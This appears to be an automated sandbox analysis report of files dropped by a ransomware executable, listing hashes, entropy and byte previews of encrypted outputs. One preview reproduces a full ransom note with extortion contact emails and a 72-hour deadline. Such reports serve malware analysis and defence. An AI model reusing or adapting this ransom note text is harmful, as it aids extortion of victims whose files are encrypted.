                                                                                                                                        Preview:....3.0.H.q......j...T.Cd..O.p.[.....x1...5a@9..7.}...H.%hf.6|u.R..Y...S.*%s&..h.e.Q.-..E..@.c.....'[......r........1.Er..6.F..2i2.5..#.L1...bO......8J3.-f..o.....U..M1C@..|.:2.O..E..........\..,....................d.B.....OS..K..P[..w9..i.j.|&Ud..9......-".%....y....*...*&.lQ.@..R.c...A.>.S.gS..#5J..^;...aZa|...#(.z..s....9...o..D.......t?.x.......;T..,(b..]...j...z.08KD...HUj.?V...Y....=...g..YK).xm....k"N.~..0W...x..5%Y.2..._. T...4..[.:Z.-.RE...;].6.^.......ep............O..;.0.gj..g...D;.......^..lU....j...:.....G&.Y.F..Z..{.,q......i....... ..~3..Q3+Y.n..u..W#...L...Y.c.j=........Z..8.W..._]^`..UY..3...H.?.....t'P..../PP...BB.........0X..(...}\......H..m...1b..i..1...a..l.....\]....^.0.9.....\.."...n..[<o.q.Yw....Bk..F.E..PW-..Ud!.2.$.Fn.\;.B<H..#D.y._.&..<cw!.......6^d.m5....:.{..)...J.......1...H.H.M9gA[.`.. .s~......]..W0.^R....`@...%...^.:& ..FAm....BS7^,.u...te<B...yJ.mu....F...~.....h........6/.....:..6.4..y.WD8....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.874249869195505
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:7cOz93v6TzPMjlAmrfD62egnzRNGC3zU7KDqGKi36WcyKvzH:/xSTYjqWCgzRNj344nqWcH
                                                                                                                                        MD5:4B0C37F00E8ABB9280CEBD9BDAF46B1B
                                                                                                                                        SHA1:124517F1323851D56F3EC30ADE51F87681F7E654
                                                                                                                                        SHA-256:90C7CE3F48B462C7807E32A20197C9CC71C81B0FEEDBAE7D2AAD3D648ADE44C6
                                                                                                                                        SHA-512:569E3936D9DD2D9B1CBE4E4DF3B918CF89BF066774FCD9010C8D859E097CE29100DBBBE5B27640FA3318E8FB9B36F31A7CE877479F3DC8FB1860FC4FE59657B1
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....3.0.H.q......j...T.Cd..O.p.[.....x1...5a@9..7.}...H.%hf.6|u.R..Y...S.*%s&..h.e.Q.-..E..@.c.....'[......r........1.Er..6.F..2i2.5..#.L1...bO......8J3.-f..o.....U..M1C@..|.:2.O..E..........\..,....................d.B.....OS..K..P[..w9..i.j.|&Ud..9......-".%....y....*...*&.lQ.@..R.c...A.>.S.gS..#5J..^;...aZa|...#(.z..s....9...o..D.......t?.x.......;T..,(b..]...j...z.08KD...HUj.?V...Y....=...g..YK).xm....k"N.~..0W...x..5%Y.2..._. T...4..[.:Z.-.RE...;].6.^.......ep............O..;.0.gj..g...D;.......^..lU....j...:.....G&.Y.F..Z..{.,q......i....... ..~3..Q3+Y.n..u..W#...L...Y.c.j=........Z..8.W..._]^`..UY..3...H.?.....t'P..../PP...BB.........0X..(...}\......H..m...1b..i..1...a..l.....\]....^.0.9.....\.."...n..[<o.q.Yw....Bk..F.E..PW-..Ud!.2.$.Fn.\;.B<H..#D.y._.&..<cw!.......6^d.m5....:.{..)...J.......1...H.H.M9gA[.`.. .s~......]..W0.^R....`@...%...^.:& ..FAm....BS7^,.u...te<B...yJ.mu....F...~.....h........6/.....:..6.4..y.WD8....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8742294678739775
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:0aF9245S8pHKMK7iErzyXHOs8e7tgu6sKTA6nZT2ODPrt8zTJO2:0aZc8pqBiEaXHBvvunN2+zWn82
                                                                                                                                        MD5:67CA4FEA0ACCCC46EECDF8EE0160268E
                                                                                                                                        SHA1:2DA524FA1406CC35A974F142C1D02D9C16769435
                                                                                                                                        SHA-256:C6166AF7263B8F8D53E62CEC3F1CF969DABEB14AEDF47D373DD92D7AA7CF1D77
                                                                                                                                        SHA-512:51A0DC84B3679F608CB5B4ACF5944A638080DD79E42034DEF1289DF17AB857493049DAF18AF473EAB3BD43D02206BCDA864ABD0D7871D9DE54F591A64D061A66
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:._..^?..j..3.......]..>.h.....}.h}..7....#^{.....J....]?..6|s.zp..V?.G|....O.a$..~E....1..~we.K`....`...7...b.+........a..fo.r.o...F.d:*....C*'!.c.w..\b..@......G.X].2w.\..3..Q..u..,..VB.o..Bp. ......w.d..?s..r..=4.6.J.....fg-iF......C.P..].a\.B8..es...1B....h..c.....+.o...1 .. .G...j...p.s..C.t.j.....w..(...D.f.....\..D..'.&.BK...K{.t.s.EF.C..t;,.j}.........:...S.X!pI..H.X...3........9(f......J}.^0.V.^..%.&`....t. d4i..s....a..9...C...5...Jp.o......_2'T........R.N....j..N.V...>*b..z.SB..z...P_3....F..x..s..p.v.y..EBH-vM(*..8.KQ.rM..`..u.#.z.....3....2...A.`>1.*.SX......._..0...[.^.....!..(4..j..i.fW]...@w.2.YH...>....~..@>...ou.f.t.~.....`......B>.<..Mi.....b...*...H.....4.:I.......}7o`.\..zb..r..K)X......x7..Gg...&..jW.Y*.4..y+.O.K.......j\G.m...2.Zq-.&#....$3.,..n.....).N.....6.4..).6.p......\+..h.. {.4..y.m...YF...M..&[Go..y~|..0$<.D1x.......C..G.....W.$.[M.f.J.%.`m}.mZ.jF......u..y.>.H.y.3uZ...qV.D.-"b...i.n.5H..5.Ke.Z..a..z..2..H...}.5W..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8742294678739775
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:0aF9245S8pHKMK7iErzyXHOs8e7tgu6sKTA6nZT2ODPrt8zTJO2:0aZc8pqBiEaXHBvvunN2+zWn82
                                                                                                                                        MD5:67CA4FEA0ACCCC46EECDF8EE0160268E
                                                                                                                                        SHA1:2DA524FA1406CC35A974F142C1D02D9C16769435
                                                                                                                                        SHA-256:C6166AF7263B8F8D53E62CEC3F1CF969DABEB14AEDF47D373DD92D7AA7CF1D77
                                                                                                                                        SHA-512:51A0DC84B3679F608CB5B4ACF5944A638080DD79E42034DEF1289DF17AB857493049DAF18AF473EAB3BD43D02206BCDA864ABD0D7871D9DE54F591A64D061A66
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:._..^?..j..3.......]..>.h.....}.h}..7....#^{.....J....]?..6|s.zp..V?.G|....O.a$..~E....1..~we.K`....`...7...b.+........a..fo.r.o...F.d:*....C*'!.c.w..\b..@......G.X].2w.\..3..Q..u..,..VB.o..Bp. ......w.d..?s..r..=4.6.J.....fg-iF......C.P..].a\.B8..es...1B....h..c.....+.o...1 .. .G...j...p.s..C.t.j.....w..(...D.f.....\..D..'.&.BK...K{.t.s.EF.C..t;,.j}.........:...S.X!pI..H.X...3........9(f......J}.^0.V.^..%.&`....t. d4i..s....a..9...C...5...Jp.o......_2'T........R.N....j..N.V...>*b..z.SB..z...P_3....F..x..s..p.v.y..EBH-vM(*..8.KQ.rM..`..u.#.z.....3....2...A.`>1.*.SX......._..0...[.^.....!..(4..j..i.fW]...@w.2.YH...>....~..@>...ou.f.t.~.....`......B>.<..Mi.....b...*...H.....4.:I.......}7o`.\..zb..r..K)X......x7..Gg...&..jW.Y*.4..y+.O.K.......j\G.m...2.Zq-.&#....$3.,..n.....).N.....6.4..).6.p......\+..h.. {.4..y.m...YF...M..&[Go..y~|..0$<.D1x.......C..G.....W.$.[M.f.J.%.`m}.mZ.jF......u..y.>.H.y.3uZ...qV.D.-"b...i.n.5H..5.Ke.Z..a..z..2..H...}.5W..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8727361764010455
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:1WjjqX+S9TBvxUILgmAojgywsQrmOJRlMffo/eW2Wm7LjqjJH:1UjM+SnxU8HjgywsgbMfgr2WyLeJH
                                                                                                                                        MD5:B6720A598606D92949B52FB66FB1360C
                                                                                                                                        SHA1:260A634BC9943D4F3DF3E17E0BFD5EDED253FC33
                                                                                                                                        SHA-256:3DA7F2EBD9D027925938A1AF1BB723F69306990C8372C0751700904DC1560020
                                                                                                                                        SHA-512:D9672A45F26F2094F208F403B967F29002A7BA5C4E279A170183579781DE7E1BB4E6F40931A0E2BC3E961EC0CE5A85926E18B6B4663A0788A95D49D64C3780F2
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..;...s.aw.G...m(...n...-.l....E.a.....$S..h0..L%..t.u..........n..y2....?..%dkg.c...o...s.%Z.6..L.F.7^._I.<....8Z`.......-.}>...m..yX~....>>..qs.....X.z.6....u3`...P..iO.........2..)O.#.L.$x.....P..."BJ^D...h.'.4..-.q........[.y..i?z[$....K0&........z.1..\F....Jj.W).."H.e..iy[..,..d.{8.:..vMU_.s385W....e19[..6.O..7Q..).....+....DHx.g.....45.W<.t.%..-.H.W..x..Md.!.+#......p@SsR|...({.~)2.J..A.MH..5.Z....b..99.k..Y.6'.)&.bi.......Fa....ZG.hp?8|_ ....He^..c+..{..8_EL|pw..${...y...On..?.".&....z7@.....m.,.......... .y.....Or .#.=.f76)5.....Dh]..A`.^"p...L..d.....t.._.~jV...jC..x<.;.I.EPt.N.2&....,*..[)......O.w.[a.PO..'j..1.i".b)5...L.N...1#..+.0...&.\]............r.@...i..A`.7.%p...<(v}..I...d..H..o..(.[...B.t....s.....R$...j..gh....EF.T.......(9..um..D..@.A.X..^\P..........7...8fwj.-HE6._.S~.k:..Yv<y.....'.3......f..My.(;...l.z......X.. .5.....cX.....?..5R......<Z....r]...@....)..U...I*.....4X8!.G....<..R..e).Q`..Tm.~*)..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8727361764010455
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:1WjjqX+S9TBvxUILgmAojgywsQrmOJRlMffo/eW2Wm7LjqjJH:1UjM+SnxU8HjgywsgbMfgr2WyLeJH
                                                                                                                                        MD5:B6720A598606D92949B52FB66FB1360C
                                                                                                                                        SHA1:260A634BC9943D4F3DF3E17E0BFD5EDED253FC33
                                                                                                                                        SHA-256:3DA7F2EBD9D027925938A1AF1BB723F69306990C8372C0751700904DC1560020
                                                                                                                                        SHA-512:D9672A45F26F2094F208F403B967F29002A7BA5C4E279A170183579781DE7E1BB4E6F40931A0E2BC3E961EC0CE5A85926E18B6B4663A0788A95D49D64C3780F2
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..;...s.aw.G...m(...n...-.l....E.a.....$S..h0..L%..t.u..........n..y2....?..%dkg.c...o...s.%Z.6..L.F.7^._I.<....8Z`.......-.}>...m..yX~....>>..qs.....X.z.6....u3`...P..iO.........2..)O.#.L.$x.....P..."BJ^D...h.'.4..-.q........[.y..i?z[$....K0&........z.1..\F....Jj.W).."H.e..iy[..,..d.{8.:..vMU_.s385W....e19[..6.O..7Q..).....+....DHx.g.....45.W<.t.%..-.H.W..x..Md.!.+#......p@SsR|...({.~)2.J..A.MH..5.Z....b..99.k..Y.6'.)&.bi.......Fa....ZG.hp?8|_ ....He^..c+..{..8_EL|pw..${...y...On..?.".&....z7@.....m.,.......... .y.....Or .#.=.f76)5.....Dh]..A`.^"p...L..d.....t.._.~jV...jC..x<.;.I.EPt.N.2&....,*..[)......O.w.[a.PO..'j..1.i".b)5...L.N...1#..+.0...&.\]............r.@...i..A`.7.%p...<(v}..I...d..H..o..(.[...B.t....s.....R$...j..gh....EF.T.......(9..um..D..@.A.X..^\P..........7...8fwj.-HE6._.S~.k:..Yv<y.....'.3......f..My.(;...l.z......X.. .5.....cX.....?..5R......<Z....r]...@....)..U...I*.....4X8!.G....<..R..e).Q`..Tm.~*)..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:DOS executable (COM, 0x8C-variant)
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.849250949926389
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:lu8/Z0CMYtmW6TQnJ8IXhQvEM/ncBhpKwsIagrG2HjeeaD2CazSvZa:lu8/PsWPaGtDhpuIJrljeeaqZzSvZa
                                                                                                                                        MD5:B06088956D32C2B3A1A3287FE8B95483
                                                                                                                                        SHA1:CA6E5E4BFA9A8B72AE1667D0CD4DD8A8B14597F5
                                                                                                                                        SHA-256:E41D7215474BCC3E803C89F13C9823D0F921AD49AE8A426ED84F67DA4E3F0ED7
                                                                                                                                        SHA-512:A4AA81DCF32B3B6E7F1A4B1ACCD3E236EAEAD6F7EDA72827062E2F0B8E49B1803026C6B8082197FFBC3B74161A9EFC4D14F239CCDB65AC6806EB038F8B833538
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.[......D^(.$..2/dVaa..s.M..7`|Zg..d......iO%<...A.........e[H......B.T._....E...<6......g.NV@[...A.....wI]X\3r...X.b...s..;.......I...T..2h.W.....+..W......b..<..L.........?^J..,W..;.....c4....f>....6Ai18..8F.W...N%DUJEa&;...y1+N|.....5....OVU..>8......7i.Z.e..^4>...3.z.+.p...m2..FM.........Y..w...L.CT7.d...7[c.wM.bV9U..WR!':=r.....bI%"-..;.J.x....ST..*0..bu3....U.../&..v.v...|.....h...3Z5..".......?..~C(B...we.]..B.9...l.-.. .\_....O*8......Pq.C...+.8&>}. ..S..OS.+...^....!.."....N...tw....o.h... .S...4.D.k^%..O/..D.....e..H.b...!.$7{....m....A'..P..^)|......3.....9M D..".@G%$.OW........<n.!.0i.-...UW...I3....$..v ..#k.G.....GUw...bOW.vv.[.p.....\.T.-....RY.<.d~.O.tS..$.1...i.?.....k...Xv...'f.7...i...@.s.bI..............f.]...'UW..F6.#..=.....]2..p...?.J....`....]-.29......J..%..@...'(.....Q.T.Ua..p.....{."fc...........0n...l....s.QSV.n..B.RSk#..[...vx.....C ...s.|>&...E........t4..a..z.......N...?2.>ZV.O......N.^.$....t`X.xc-.=1.^1.I..`1.........s
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:DOS executable (COM, 0x8C-variant)
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.849250949926389
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:lu8/Z0CMYtmW6TQnJ8IXhQvEM/ncBhpKwsIagrG2HjeeaD2CazSvZa:lu8/PsWPaGtDhpuIJrljeeaqZzSvZa
                                                                                                                                        MD5:B06088956D32C2B3A1A3287FE8B95483
                                                                                                                                        SHA1:CA6E5E4BFA9A8B72AE1667D0CD4DD8A8B14597F5
                                                                                                                                        SHA-256:E41D7215474BCC3E803C89F13C9823D0F921AD49AE8A426ED84F67DA4E3F0ED7
                                                                                                                                        SHA-512:A4AA81DCF32B3B6E7F1A4B1ACCD3E236EAEAD6F7EDA72827062E2F0B8E49B1803026C6B8082197FFBC3B74161A9EFC4D14F239CCDB65AC6806EB038F8B833538
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.[......D^(.$..2/dVaa..s.M..7`|Zg..d......iO%<...A.........e[H......B.T._....E...<6......g.NV@[...A.....wI]X\3r...X.b...s..;.......I...T..2h.W.....+..W......b..<..L.........?^J..,W..;.....c4....f>....6Ai18..8F.W...N%DUJEa&;...y1+N|.....5....OVU..>8......7i.Z.e..^4>...3.z.+.p...m2..FM.........Y..w...L.CT7.d...7[c.wM.bV9U..WR!':=r.....bI%"-..;.J.x....ST..*0..bu3....U.../&..v.v...|.....h...3Z5..".......?..~C(B...we.]..B.9...l.-.. .\_....O*8......Pq.C...+.8&>}. ..S..OS.+...^....!.."....N...tw....o.h... .S...4.D.k^%..O/..D.....e..H.b...!.$7{....m....A'..P..^)|......3.....9M D..".@G%$.OW........<n.!.0i.-...UW...I3....$..v ..#k.G.....GUw...bOW.vv.[.p.....\.T.-....RY.<.d~.O.tS..$.1...i.?.....k...Xv...'f.7...i...@.s.bI..............f.]...'UW..F6.#..=.....]2..p...?.J....`....]-.29......J..%..@...'(.....Q.T.Ua..p.....{."fc...........0n...l....s.QSV.n..B.RSk#..[...vx.....C ...s.|>&...E........t4..a..z.......N...?2.>ZV.O......N.^.$....t`X.xc-.=1.^1.I..`1.........s
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.836907863515954
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:JoaCV9ThDgiptOEuQQn7yiz4QUGJriCgen3v06hWp3z2PNmn4ZE+SMqbZf1FSg4H:JoaCV9qctOE67yiMQUGJrVzdA5mNmj+p
                                                                                                                                        MD5:03DE4BC56C048E7041038E787A20C234
                                                                                                                                        SHA1:18433B2A3CCB8AA84CACE242D96EFE0AF09F1B50
                                                                                                                                        SHA-256:ECD23BB40FF041EB27B6C6BD4EFCD9C0AD63CE9744AFE3D400253EBF152D8615
                                                                                                                                        SHA-512:1FA5C628412F45CF9481BA928A0E2248642203F50796DFE3EC395A3BACD552F9D37DCD0228E8B058C502F74E3BDA5F91D5D3956D448AE7DF926331C864BE5445
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:G.k>..*.a.......&..R....#^5.3S.x.y..M.x......+;<U..P...^k... ....7..5<..i.Z.=M..$..!...8.k/..B.y..$...M........X..K.as....S..&qF=o..n.;.C......2`QS.tJ/...~F...}...C..Vf..O7Vf...r$~.p.1.?..--)....+...R..v.h.....Y_w...k.fp.{|.a.&...Wn..)n.v}#.,...r...PvG...N0..+..p.a.w....i.....*.F^dz....t.@.+...i..@.]..R...&..u.....D.P:o.F..s......G..&....fp..xW..X;.q..|.3.H..-n.....Cw.=..e.c).I......v..#..]..n....GH.0.R.....57..cV\+.?.qoT.E....w.+..m........LC.m....*...!.._.;.....n=. p..........6.0&..3.+q:.W%.]~.5.t.KVY.o.=.F..mAN...n...<}.[).....B.......@.u.m.$On..m..-.B\@...O...2M......g3..%y..N....s...hP.\h..h...C.pD.L.. ...U[z...(......y..?...{g..G."F....._.&...`..&..v..LU....).)....?A...x.....'l..z(.`....-...J....z.T!.j..".H..`.!...l.k....e.2..K.:B.N..)..)X*v........;OC...I'.Y.$`...Z_tt......q......0*k.|/.........c..\-....7...4..9.x0.$8...(....S./..l.E.;...?.V.s.*sG...-;.h...Ws..pa...L..~n...]:G..'...R.....B~...Fr...ULN..A.....t..y..tK..<..g.NM
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.836907863515954
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:JoaCV9ThDgiptOEuQQn7yiz4QUGJriCgen3v06hWp3z2PNmn4ZE+SMqbZf1FSg4H:JoaCV9qctOE67yiMQUGJrVzdA5mNmj+p
                                                                                                                                        MD5:03DE4BC56C048E7041038E787A20C234
                                                                                                                                        SHA1:18433B2A3CCB8AA84CACE242D96EFE0AF09F1B50
                                                                                                                                        SHA-256:ECD23BB40FF041EB27B6C6BD4EFCD9C0AD63CE9744AFE3D400253EBF152D8615
                                                                                                                                        SHA-512:1FA5C628412F45CF9481BA928A0E2248642203F50796DFE3EC395A3BACD552F9D37DCD0228E8B058C502F74E3BDA5F91D5D3956D448AE7DF926331C864BE5445
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:G.k>..*.a.......&..R....#^5.3S.x.y..M.x......+;<U..P...^k... ....7..5<..i.Z.=M..$..!...8.k/..B.y..$...M........X..K.as....S..&qF=o..n.;.C......2`QS.tJ/...~F...}...C..Vf..O7Vf...r$~.p.1.?..--)....+...R..v.h.....Y_w...k.fp.{|.a.&...Wn..)n.v}#.,...r...PvG...N0..+..p.a.w....i.....*.F^dz....t.@.+...i..@.]..R...&..u.....D.P:o.F..s......G..&....fp..xW..X;.q..|.3.H..-n.....Cw.=..e.c).I......v..#..]..n....GH.0.R.....57..cV\+.?.qoT.E....w.+..m........LC.m....*...!.._.;.....n=. p..........6.0&..3.+q:.W%.]~.5.t.KVY.o.=.F..mAN...n...<}.[).....B.......@.u.m.$On..m..-.B\@...O...2M......g3..%y..N....s...hP.\h..h...C.pD.L.. ...U[z...(......y..?...{g..G."F....._.&...`..&..v..LU....).)....?A...x.....'l..z(.`....-...J....z.T!.j..".H..`.!...l.k....e.2..K.:B.N..)..)X*v........;OC...I'.Y.$`...Z_tt......q......0*k.|/.........c..\-....7...4..9.x0.$8...(....S./..l.E.;...?.V.s.*sG...-;.h...Ws..pa...L..~n...]:G..'...R.....B~...Fr...ULN..A.....t..y..tK..<..g.NM
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:Compiled PSI (v2) data (\322\263\327\001P*\353H\320\354\177\377\210\274\204\367\037K9"\356q/\024P|(\037`4\024\3618\321\027\034\240\353Y\302\025\177G\356*\322\033qe\362\222h\306$e\013P\317;\372X*)
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.858167818733833
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:sH3vOJ4Bn6HnJ4Db8xAXenw9FJ8XOO+ZPG2JGk/1hWh/BnAWslOijJdqIzUzTQ:sXvOJPHJ4mwl9FSXOO+ZPG2JqvtslFd1
                                                                                                                                        MD5:E3F1F13E84F72B69B882BAAF984474A9
                                                                                                                                        SHA1:F4B4F28826C9B9C0535F25E8F9D087208EFF09D4
                                                                                                                                        SHA-256:B1CDCA4761CAC8497555B3D2ED98503625C74ABC3C0F95662B2AC5FEE6C8A73E
                                                                                                                                        SHA-512:352C46F7131DC190042E49C8AB0CCDFF0576556514CCD949D6FA46A1E84686408D8F99850DC442C0C0FFAC3D6F88140A160402C49A17C772D4BE5831F1E48A7E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..]...P*.H.........K9".q/.P|(.`4..8.....Y...G.*..qe.h.$e.P.;.X*.r{E..3....n....St..qu..F...EJ.I...v.a&.}<.Z..o.)....C..!.....d.=L./&.\0....b.PUE%....=&..P|..U...9...V.I.......,-.9z.8f./....N..v.J...`.wT.|a.=../.uHw.......].{.vm..+..tN.:.Y.."N.UUhwD.....E.ph.A;Q....k....=...P.G...r!...G?..u.4.Q.......y.7M"S$_..QcO..1.../*...?.d....}....l.T.D.3..Z.....u.....#.x.}..[....t...!Q.*..0...O.. ......1.Uf.o....'.Q1...E..xS.h.r."tV....Iju\===...w../...3...bN.?...8H.Q...R..s...$...K.u....e...b....V..).=....+I.W.Ym.R.f...>.8.@........R"{m.z.K..4.Z.....O.u............).Z.V:...-......#....VJ6.m.u.|&.&...Kk..i.H8e.xL.j^..d.(.X.S7.1.....B...._.5|...o.b.!....O......L.......+G.[.c....$K..[V....2........b..#....<!_.8....i....._..V...v..X_P.p&.......M..t..;.(..@..ju)rm........;........=....J2..-.s.G.=c(E..o.....lK3e..*...2k/.O.e.4.O....cu.B.94v..U..-E..@.)...z......kO|~.;.w.E.Z.... .=.*#..1?.....C.Z..>^.*..=..4.G..}.......q.=..V.......5O..Y.W."v..i... H
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:Compiled PSI (v2) data (\322\263\327\001P*\353H\320\354\177\377\210\274\204\367\037K9"\356q/\024P|(\037`4\024\3618\321\027\034\240\353Y\302\025\177G\356*\322\033qe\362\222h\306$e\013P\317;\372X*)
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.858167818733833
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:sH3vOJ4Bn6HnJ4Db8xAXenw9FJ8XOO+ZPG2JGk/1hWh/BnAWslOijJdqIzUzTQ:sXvOJPHJ4mwl9FSXOO+ZPG2JqvtslFd1
                                                                                                                                        MD5:E3F1F13E84F72B69B882BAAF984474A9
                                                                                                                                        SHA1:F4B4F28826C9B9C0535F25E8F9D087208EFF09D4
                                                                                                                                        SHA-256:B1CDCA4761CAC8497555B3D2ED98503625C74ABC3C0F95662B2AC5FEE6C8A73E
                                                                                                                                        SHA-512:352C46F7131DC190042E49C8AB0CCDFF0576556514CCD949D6FA46A1E84686408D8F99850DC442C0C0FFAC3D6F88140A160402C49A17C772D4BE5831F1E48A7E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..]...P*.H.........K9".q/.P|(.`4..8.....Y...G.*..qe.h.$e.P.;.X*.r{E..3....n....St..qu..F...EJ.I...v.a&.}<.Z..o.)....C..!.....d.=L./&.\0....b.PUE%....=&..P|..U...9...V.I.......,-.9z.8f./....N..v.J...`.wT.|a.=../.uHw.......].{.vm..+..tN.:.Y.."N.UUhwD.....E.ph.A;Q....k....=...P.G...r!...G?..u.4.Q.......y.7M"S$_..QcO..1.../*...?.d....}....l.T.D.3..Z.....u.....#.x.}..[....t...!Q.*..0...O.. ......1.Uf.o....'.Q1...E..xS.h.r."tV....Iju\===...w../...3...bN.?...8H.Q...R..s...$...K.u....e...b....V..).=....+I.W.Ym.R.f...>.8.@........R"{m.z.K..4.Z.....O.u............).Z.V:...-......#....VJ6.m.u.|&.&...Kk..i.H8e.xL.j^..d.(.X.S7.1.....B...._.5|...o.b.!....O......L.......+G.[.c....$K..[V....2........b..#....<!_.8....i....._..V...v..X_P.p&.......M..t..;.(..@..ju)rm........;........=....J2..-.s.G.=c(E..o.....lK3e..*...2k/.O.e.4.O....cu.B.94v..U..-E..@.)...z......kO|~.;.w.E.Z.... .=.*#..1?.....C.Z..>^.*..=..4.G..}.......q.=..V.......5O..Y.W."v..i... H
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.834658071767323
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:3PWIzVpcb7s12L+YCikLz5gyKOV5BkIG9Rk8A5eDaaXY4etq18aBy4zLAh1g6:3PWI3A7s9iM1gyKO9k59RdA5wXnetqKv
                                                                                                                                        MD5:5C5A1FE6E8A7372CE3B1F3D6A2E8DB08
                                                                                                                                        SHA1:87026268391DB6467C3A6031BE493161EC5FB1E1
                                                                                                                                        SHA-256:1C6111C7DF93A199BF44B9B365DFA8B84741709A3FA50A0ADAC5D13045D66D37
                                                                                                                                        SHA-512:D129A7FA7FEB2A85B2E5626E18FB3A85859CA5B8014F0354815C05EEDEB815710CBF47607C6E0DF90BB60910ED364E709B67A8B69CE320026CC224810A3D998F
                                                                                                                                        Malicious:false
